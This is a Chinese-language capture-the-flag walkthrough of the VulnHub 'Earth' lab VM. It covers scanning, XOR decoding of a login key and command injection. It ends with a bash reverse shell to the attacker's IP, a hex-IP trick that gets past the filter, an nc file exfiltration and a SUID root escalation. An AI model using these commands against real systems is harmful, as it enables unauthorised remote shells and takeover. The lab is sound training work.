项目地址
https://vulnhub.com/entry/the-planets-earth,755/
实验过程
将下载好的靶机导入到VMware中,设置网络模式为NAT模式,然后开启靶机虚拟机
使用nmap进行主机发现,获取靶机IP地址
nmap 192.168.47.1-254
根据对比可知Earth的一个ip地址为192.168.47.134
扫描earth的操作系统,端口及对应服务
nmap -A -p- 192.168.47.134
发现开放22,80,443端口
发现443端口有DNS解析,在hosts文件中添加DNS解析
vi /etc/hosts
cat /etc/hosts
访问earth.local
发现有Previous Messages
扫描一下网站目录
dirb https://earth.local
发现有个admin目录
尝试访问一下
发现是个登录界面
访问terratest.earth.local
扫描一下网站
dirb https://terratest.earth.local
发现一个robots.txt
尝试访问terratest.earth.local/robots.txt
在robots.txt中最后有一个/testingnotes.*,猜测这可能是txt为后缀
访问testingnotes.txt试试
大概意思是他们传输密文是通过异或异或来传输的
testdata.txt是曾经是用过的密文,曾用terra作为用户名登录
访问testdata.txt
复制内容,之后要用
前面扫描到的80端口中有传输密文的地方且传输一次就会产生秘钥的残留
通过上面得知这个文件内容用xor加密方式
写一个python脚本
import binascii
entry_str = '2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a'
pass_txt = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."
pass_txt_16 = binascii.b2a_hex(pass_txt.encode(encoding="utf-8")).decode('utf-8').replace("b'",'')
result = hex(int(entry_str,16)^int(pass_txt_16,16)).replace('0x','')
datatext = binascii.unhexlify(result).decode('utf-8')
print(datatext)
运行
找到key:earthclimatechangebad4humans
结合之前的用户名terra,尝试登录
登陆成功
发现command尝试执行指令,发现可以执行
反弹shell
在kali设置一个监听
nc -lvvp 6666
在输入框输入反弹shell脚本
bash -c 'exec bash -i &>/dev/tcp/192.168.47.129/6666 <&1'
提示禁止远程连接
翻一翻文件
发现一个user_flag.txt
查看一下
得到一个flag
翻到forms.py源码
服务器段采用了正则对IP进行数字匹配,把ip地址进行一个转化
再次输入shell反弹脚本
bash -c 'exec bash -i &>/dev/tcp/0xc0a82f81/6666 <&1'
反弹成功
提权
查看有哪些可以利用的权限
find / -perm -u=s -type f 2>/dev/null
发现reset_root,尝试执行一下
用nc将文件传回来,用strace分析一下文件
nc -lvvp 8888 >reset_root Kali终端
nc 192.168.47.129 8888 < /usr/bin/reset_root 反弹的shell
chmod +x reset_root
./reset_root
file ./reset_root
strace ./reset_root
发现有三个文件夹没有创建,所以在靶机创建这三个文件夹
cd /dev/shm
touch kHgTFI5G
touch Zw7bV9U5
cd /tmp
touch kcM0Wewe
回到/usr/bin目录下重置root
提示密码被重置为Earth
提权成功